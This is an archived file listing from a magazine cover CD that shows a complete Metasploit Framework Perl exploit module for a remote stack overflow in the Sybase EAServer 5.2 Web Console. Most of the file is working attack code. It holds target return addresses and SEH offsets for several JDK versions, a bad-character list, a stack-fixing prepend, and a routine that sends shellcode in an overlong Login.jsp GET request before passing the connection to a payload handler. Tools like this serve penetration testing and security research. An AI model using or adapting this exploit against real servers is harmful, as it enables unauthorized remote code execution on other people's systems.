home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / sybase_easerver.pm < prev    next >
Text File  |  2006-06-30  |  3KB  |  126 lines
  1. ##
  2. # This file is part of the Metasploit Framework and may be redistributed
  3. # according to the licenses defined in the Authors field below. In the
  4. # case of an unknown or missing license, this file defaults to the same
  5. # license as the core Framework (dual GPLv2 and Artistic). The latest
  6. # version of the Framework can always be obtained from metasploit.com.
  7. ##
  8.  
  9. package Msf::Exploit::sybase_easerver;
  10. use strict;
  11. use base "Msf::Exploit";
  12. use Pex::Text;
  13.  
  14. my $advanced = { };
  15.  
  16. my $info =
  17.   {
  18.     'Name'  => 'Sybase EAServer 5.2 Remote Stack Overflow',
  19.     'Version'  => '$Revision: 1.4 $',
  20.     'Authors' => [ 'anonymous' ],
  21.     'Arch'  => [ 'x86' ],
  22.     'OS'    => [ 'win32', 'winxp', 'win2k', 'win2003' ],
  23.     'Priv'  => 1,
  24.  
  25.     'AutoOpts'  =>
  26.       {
  27.         'EXITFUNC' => 'thread'
  28.       },
  29.  
  30.     'UserOpts'  =>
  31.       {
  32.         'RHOST' => [1, 'ADDR', 'The target address'],
  33.         'RPORT' => [1, 'PORT', 'The target port', 8080 ],
  34.         'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
  35.         'DIR'   => [1, 'DATA', 'Directory of Login.jsp script', '/WebConsole/'],
  36.         'SSL'   => [0, 'BOOL', 'Use SSL'],
  37.       },
  38.  
  39.     'Payload' =>
  40.       {
  41.         'Space'     => 1000,
  42.         'BadChars'  => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\%",
  43.         'Prepend'    => "\x81\xc4\x1f\xff\xff\xff\x44", # make stack happy
  44.         'Keys'         => ['+ws2ord'],
  45.       },
  46.  
  47.     'Description'  => Pex::Text::Freeform(qq{
  48.         This module exploits a stack overflow in the Sybase EAServer Web
  49.         Console. The offset to the SEH frame appears to change depending
  50.         on what version of Java is in use by the remote server, making this
  51.         exploit somewhat unreliable.
  52. }),
  53.  
  54.     'Refs'  =>
  55.       [
  56.         ['BID', 14287],
  57.       ],
  58.  
  59.     'Targets' =>
  60.       [
  61.           # Technically we could combine these into a single multi-return string...
  62.         [ 'Windows All - Sybase EAServer 5.2 - jdk 1.3.1_11', 0x6d4548ff, 3820],
  63.         [ 'Windows All - Sybase EAServer 5.2 - jdk 1.3.?.?',  0x6d4548ff, 3841],
  64.         [ 'Windows All - Sybase EAServer 5.2 - jdk 1.4.2_06', 0x08041b25, 3912],
  65.         [ 'Windows All - Sybase EAServer 5.2 - jdk 1.4.1_02', 0x08041b25, 3925],
  66.       ],
  67.  
  68.     'Keys'  => ['easerver'],
  69.   };
  70.  
  71. sub new {
  72.     my $class = shift;
  73.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  74.     return($self);
  75. }
  76.  
  77. sub Exploit {
  78.     my $self        = shift;
  79.     my $target_host = $self->GetVar('RHOST');
  80.     my $target_port = $self->GetVar('RPORT');
  81.     my $target_idx  = $self->GetVar('TARGET');
  82.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  83.     my $dir         = $self->GetVar('DIR');
  84.     my $target      = $self->Targets->[$target_idx];
  85.  
  86.     $self->PrintLine( "[*] Attempting to exploit " . $target->[0] );
  87.  
  88.     my $s = Msf::Socket::Tcp->new(
  89.         'PeerAddr'  => $target_host,
  90.         'PeerPort'  => $target_port,
  91.         'SSL'      => $self->GetVar('SSL'),
  92.       );
  93.  
  94.     if ( $s->IsError ) {
  95.         $self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
  96.         return;
  97.     }
  98.  
  99.  
  100.     my $crash = Pex::Text::AlphaNumText(5000);
  101.     
  102.     substr($crash, $target->[2] - 4, 2, "\xeb\x06");    
  103.     substr($crash, $target->[2]    , 4, pack("V", $target->[1]));
  104.     substr($crash, $target->[2] + 4, length($shellcode), $shellcode);
  105.     
  106.     $dir = $dir . "Login.jsp?" . $crash;
  107.  
  108.     my $request =
  109.       "GET $dir HTTP/1.1\r\n".
  110.       "Accept: */*\r\n".
  111.       "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
  112.       "Host: $target_host:$target_port\r\n".
  113.       "Connection: Close\r\n".
  114.       "\r\n";
  115.  
  116.     $s->Send($request);
  117.  
  118.     $self->PrintLine("[*] Overflow request sent, sleeping for four seconds");
  119.     select(undef, undef, undef, 4);
  120.  
  121.     $self->Handler($s);
  122.     return;
  123. }
  124.  
  125. 1;
  126.